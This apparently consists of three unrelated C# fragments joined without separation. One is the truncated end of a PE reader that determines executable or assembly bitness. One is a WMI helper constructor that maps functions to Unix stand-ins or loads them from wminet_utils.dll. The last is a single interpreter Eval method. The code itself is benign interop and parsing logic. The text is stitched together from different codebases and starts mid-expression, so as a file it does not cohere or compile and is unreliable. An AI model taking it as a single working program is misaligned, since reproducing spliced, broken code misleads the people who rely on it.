(long)this.ntHeaders.OptionalHeader64.DataDirectory[14].VirtualAddress > 0L) { this.reader.BaseStream.Seek((long)checked (this.ntHeaders.OptionalHeader64.DataDirectory[14].VirtualAddress - this.ntHeaders.OptionalHeader64.BaseOfCode + this.TextBase), SeekOrigin.Begin); this.CLR = PEReader.MarshalBytesTo <PEReader.IMAGE_COR20_HEADER>(this.reader); this.TL.LogMessage("PEReader.Bitness", "Read CLR header successfully"); } } if (this.OS32BitCompatible) { if (((long)this.CLR.Flags & 2L) > 0L) { this.TL.LogMessage("PEReader.Bitness", "Found \"32bit Required\" assembly"); this.ExecutableBitness = VersionCode.Bitness.Bits32; } else { this.TL.LogMessage("PEReader.Bitness", "Found \"MSIL\" assembly"); this.ExecutableBitness = VersionCode.Bitness.BitsMSIL; } } else { this.TL.LogMessage("PEReader.Bitness", "Found \"64bit Required\" assembly"); this.ExecutableBitness = VersionCode.Bitness.Bits64; } this.TL.LogMessage("PEReader", "Assembly required Runtime version: " + Conversions.ToString((uint)this.CLR.MajorRuntimeVersion) + "." + Conversions.ToString((uint)this.CLR.MinorRuntimeVersion)); } else { this.TL.LogMessage("PEReader", "This is not an assembly, determining Bitness through the executable bitness flag"); if (this.OS32BitCompatible) { this.TL.LogMessage("PEReader.Bitness", "Found 32bit executable"); this.ExecutableBitness = VersionCode.Bitness.Bits32; } else { this.TL.LogMessage("PEReader.Bitness", "Found 64bit executable"); this.ExecutableBitness = VersionCode.Bitness.Bits64; } } }
static WmiNetUtilsHelper() { if (Environment.OSVersion.Platform == PlatformID.MacOSX || Environment.OSVersion.Platform == PlatformID.Unix) { WmiNetUtilsHelper.ResetSecurity_f = UnixWmiNetUtils.ResetSecurity; WmiNetUtilsHelper.SetSecurity_f = UnixWmiNetUtils.SetSecurity; WmiNetUtilsHelper.BlessIWbemServices_f = UnixWmiNetUtils.BlessIWbemServices; WmiNetUtilsHelper.BlessIWbemServicesObject_f = UnixWmiNetUtils.BlessIWbemServicesObject; WmiNetUtilsHelper.GetPropertyHandle_f27 = UnixWmiNetUtils.GetPropertyHandle; WmiNetUtilsHelper.WritePropertyValue_f28 = UnixWmiNetUtils.WritePropertyValue; WmiNetUtilsHelper.Clone_f12 = UnixWmiNetUtils.Clone; WmiNetUtilsHelper.VerifyClientKey_f = UnixWmiNetUtils.VerifyClientKey; WmiNetUtilsHelper.GetQualifierSet_f = UnixWmiNetUtils.GetQualifierSet; WmiNetUtilsHelper.Get_f = UnixWmiNetUtils.Get; WmiNetUtilsHelper.Put_f = UnixWmiNetUtils.Put; WmiNetUtilsHelper.Delete_f = UnixWmiNetUtils.Delete; WmiNetUtilsHelper.GetNames_f = UnixWmiNetUtils.GetNames; WmiNetUtilsHelper.BeginEnumeration_f = UnixWmiNetUtils.BeginEnumeration; WmiNetUtilsHelper.Next_f = UnixWmiNetUtils.Next; WmiNetUtilsHelper.EndEnumeration_f = UnixWmiNetUtils.EndEnumeration; WmiNetUtilsHelper.GetPropertyQualifierSet_f = UnixWmiNetUtils.GetPropertyQualifierSet; WmiNetUtilsHelper.Clone_f = UnixWmiNetUtils.Clone; WmiNetUtilsHelper.GetObjectText_f = UnixWmiNetUtils.GetObjectText; WmiNetUtilsHelper.SpawnDerivedClass_f = UnixWmiNetUtils.SpawnDerivedClass; WmiNetUtilsHelper.SpawnInstance_f = UnixWmiNetUtils.SpawnInstance; WmiNetUtilsHelper.CompareTo_f = UnixWmiNetUtils.CompareTo; WmiNetUtilsHelper.GetPropertyOrigin_f = UnixWmiNetUtils.GetPropertyOrigin; WmiNetUtilsHelper.InheritsFrom_f = UnixWmiNetUtils.InheritsFrom; WmiNetUtilsHelper.GetMethod_f = UnixWmiNetUtils.GetMethod; WmiNetUtilsHelper.PutMethod_f = UnixWmiNetUtils.PutMethod; WmiNetUtilsHelper.DeleteMethod_f = UnixWmiNetUtils.DeleteMethod; WmiNetUtilsHelper.BeginMethodEnumeration_f = UnixWmiNetUtils.BeginMethodEnumeration; WmiNetUtilsHelper.NextMethod_f = UnixWmiNetUtils.NextMethod; WmiNetUtilsHelper.EndMethodEnumeration_f = UnixWmiNetUtils.EndMethodEnumeration; WmiNetUtilsHelper.GetMethodQualifierSet_f = UnixWmiNetUtils.GetMethodQualifierSet; WmiNetUtilsHelper.GetMethodOrigin_f = UnixWmiNetUtils.GetMethodOrigin; WmiNetUtilsHelper.QualifierGet_f = UnixWmiNetUtils.QualifierSet_Get; WmiNetUtilsHelper.QualifierPut_f = UnixWmiNetUtils.QualifierSet_Put; WmiNetUtilsHelper.QualifierDelete_f = UnixWmiNetUtils.QualifierSet_Delete; WmiNetUtilsHelper.QualifierGetNames_f = UnixWmiNetUtils.QualifierSet_GetNames; WmiNetUtilsHelper.QualifierBeginEnumeration_f = UnixWmiNetUtils.QualifierSet_BeginEnumeration; WmiNetUtilsHelper.QualifierNext_f = UnixWmiNetUtils.QualifierSet_Next; WmiNetUtilsHelper.QualifierEndEnumeration_f = UnixWmiNetUtils.QualifierSet_EndEnumeration; WmiNetUtilsHelper.GetCurrentApartmentType_f = UnixWmiNetUtils.GetCurrentApartmentType; WmiNetUtilsHelper.GetDemultiplexedStub_f = UnixWmiNetUtils.GetDemultiplexedStub; WmiNetUtilsHelper.CreateInstanceEnumWmi_f = UnixWmiNetUtils.CreateInstanceEnumWmi; WmiNetUtilsHelper.CreateClassEnumWmi_f = UnixWmiNetUtils.CreateClassEnumWmi; WmiNetUtilsHelper.ExecQueryWmi_f = UnixWmiNetUtils.ExecQueryWmi; WmiNetUtilsHelper.ExecNotificationQueryWmi_f = UnixWmiNetUtils.ExecNotificationQueryWmi; WmiNetUtilsHelper.PutInstanceWmi_f = UnixWmiNetUtils.PutInstanceWmi; WmiNetUtilsHelper.PutClassWmi_f = UnixWmiNetUtils.PutClassWmi; WmiNetUtilsHelper.CloneEnumWbemClassObject_f = UnixWmiNetUtils.CloneEnumWbemClassObject; WmiNetUtilsHelper.ConnectServerWmi_f = UnixWmiNetUtils.ConnectServerWmi; } else { WmiNetUtilsHelper.myDllPath = string.Concat(RuntimeEnvironment.GetRuntimeDirectory(), "\\wminet_utils.dll"); IntPtr intPtr = WmiNetUtilsHelper.LoadLibrary(WmiNetUtilsHelper.myDllPath); if (intPtr != IntPtr.Zero) { IntPtr procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "ResetSecurity"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.ResetSecurity_f = (WmiNetUtilsHelper.ResetSecurity)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.ResetSecurity)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "SetSecurity"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.SetSecurity_f = (WmiNetUtilsHelper.SetSecurity)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.SetSecurity)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "BlessIWbemServices"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.BlessIWbemServices_f = (WmiNetUtilsHelper.BlessIWbemServices)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.BlessIWbemServices)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "BlessIWbemServicesObject"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.BlessIWbemServicesObject_f = (WmiNetUtilsHelper.BlessIWbemServicesObject)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.BlessIWbemServicesObject)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetPropertyHandle"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetPropertyHandle_f27 = (WmiNetUtilsHelper.GetPropertyHandle)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetPropertyHandle)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "WritePropertyValue"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.WritePropertyValue_f28 = (WmiNetUtilsHelper.WritePropertyValue)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.WritePropertyValue)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Clone"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Clone_f12 = (WmiNetUtilsHelper.Clone)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Clone)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "VerifyClientKey"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.VerifyClientKey_f = (WmiNetUtilsHelper.VerifyClientKey)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.VerifyClientKey)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetQualifierSet"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetQualifierSet_f = (WmiNetUtilsHelper.GetQualifierSet)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetQualifierSet)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Get"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Get_f = (WmiNetUtilsHelper.Get)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Get)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Put"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Put_f = (WmiNetUtilsHelper.Put)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Put)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Delete"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Delete_f = (WmiNetUtilsHelper.Delete)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Delete)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetNames"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetNames_f = (WmiNetUtilsHelper.GetNames)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetNames)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "BeginEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.BeginEnumeration_f = (WmiNetUtilsHelper.BeginEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.BeginEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Next"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Next_f = (WmiNetUtilsHelper.Next)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Next)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "EndEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.EndEnumeration_f = (WmiNetUtilsHelper.EndEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.EndEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetPropertyQualifierSet"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetPropertyQualifierSet_f = (WmiNetUtilsHelper.GetPropertyQualifierSet)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetPropertyQualifierSet)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "Clone"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.Clone_f = (WmiNetUtilsHelper.Clone)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.Clone)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetObjectText"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetObjectText_f = (WmiNetUtilsHelper.GetObjectText)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetObjectText)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "SpawnDerivedClass"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.SpawnDerivedClass_f = (WmiNetUtilsHelper.SpawnDerivedClass)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.SpawnDerivedClass)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "SpawnInstance"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.SpawnInstance_f = (WmiNetUtilsHelper.SpawnInstance)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.SpawnInstance)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "CompareTo"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.CompareTo_f = (WmiNetUtilsHelper.CompareTo)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.CompareTo)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetPropertyOrigin"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetPropertyOrigin_f = (WmiNetUtilsHelper.GetPropertyOrigin)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetPropertyOrigin)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "InheritsFrom"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.InheritsFrom_f = (WmiNetUtilsHelper.InheritsFrom)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.InheritsFrom)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetMethod"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetMethod_f = (WmiNetUtilsHelper.GetMethod)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetMethod)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "PutMethod"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.PutMethod_f = (WmiNetUtilsHelper.PutMethod)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.PutMethod)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "DeleteMethod"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.DeleteMethod_f = (WmiNetUtilsHelper.DeleteMethod)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.DeleteMethod)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "BeginMethodEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.BeginMethodEnumeration_f = (WmiNetUtilsHelper.BeginMethodEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.BeginMethodEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "NextMethod"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.NextMethod_f = (WmiNetUtilsHelper.NextMethod)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.NextMethod)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "EndMethodEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.EndMethodEnumeration_f = (WmiNetUtilsHelper.EndMethodEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.EndMethodEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetMethodQualifierSet"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetMethodQualifierSet_f = (WmiNetUtilsHelper.GetMethodQualifierSet)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetMethodQualifierSet)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetMethodOrigin"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetMethodOrigin_f = (WmiNetUtilsHelper.GetMethodOrigin)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetMethodOrigin)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_Get"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierGet_f = (WmiNetUtilsHelper.QualifierSet_Get)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_Get)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_Put"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierPut_f = (WmiNetUtilsHelper.QualifierSet_Put)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_Put)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_Delete"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierDelete_f = (WmiNetUtilsHelper.QualifierSet_Delete)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_Delete)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_GetNames"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierGetNames_f = (WmiNetUtilsHelper.QualifierSet_GetNames)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_GetNames)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_BeginEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierBeginEnumeration_f = (WmiNetUtilsHelper.QualifierSet_BeginEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_BeginEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_Next"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierNext_f = (WmiNetUtilsHelper.QualifierSet_Next)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_Next)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "QualifierSet_EndEnumeration"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.QualifierEndEnumeration_f = (WmiNetUtilsHelper.QualifierSet_EndEnumeration)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.QualifierSet_EndEnumeration)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetCurrentApartmentType"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetCurrentApartmentType_f = (WmiNetUtilsHelper.GetCurrentApartmentType)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetCurrentApartmentType)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "GetDemultiplexedStub"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.GetDemultiplexedStub_f = (WmiNetUtilsHelper.GetDemultiplexedStub)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.GetDemultiplexedStub)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "CreateInstanceEnumWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.CreateInstanceEnumWmi_f = (WmiNetUtilsHelper.CreateInstanceEnumWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.CreateInstanceEnumWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "CreateClassEnumWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.CreateClassEnumWmi_f = (WmiNetUtilsHelper.CreateClassEnumWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.CreateClassEnumWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "ExecQueryWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.ExecQueryWmi_f = (WmiNetUtilsHelper.ExecQueryWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.ExecQueryWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "ExecNotificationQueryWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.ExecNotificationQueryWmi_f = (WmiNetUtilsHelper.ExecNotificationQueryWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.ExecNotificationQueryWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "PutInstanceWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.PutInstanceWmi_f = (WmiNetUtilsHelper.PutInstanceWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.PutInstanceWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "PutClassWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.PutClassWmi_f = (WmiNetUtilsHelper.PutClassWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.PutClassWmi)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "CloneEnumWbemClassObject"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.CloneEnumWbemClassObject_f = (WmiNetUtilsHelper.CloneEnumWbemClassObject)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.CloneEnumWbemClassObject)); } procAddress = WmiNetUtilsHelper.GetProcAddress(intPtr, "ConnectServerWmi"); if (procAddress != IntPtr.Zero) { WmiNetUtilsHelper.ConnectServerWmi_f = (WmiNetUtilsHelper.ConnectServerWmi)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(WmiNetUtilsHelper.ConnectServerWmi)); } } } }
public override int Eval(RuntimeEnvironment runtimeEnvironment, FunctionEnvironment functionEnvironment) { return runtimeEnvironment.GetVariable(_name).Value; }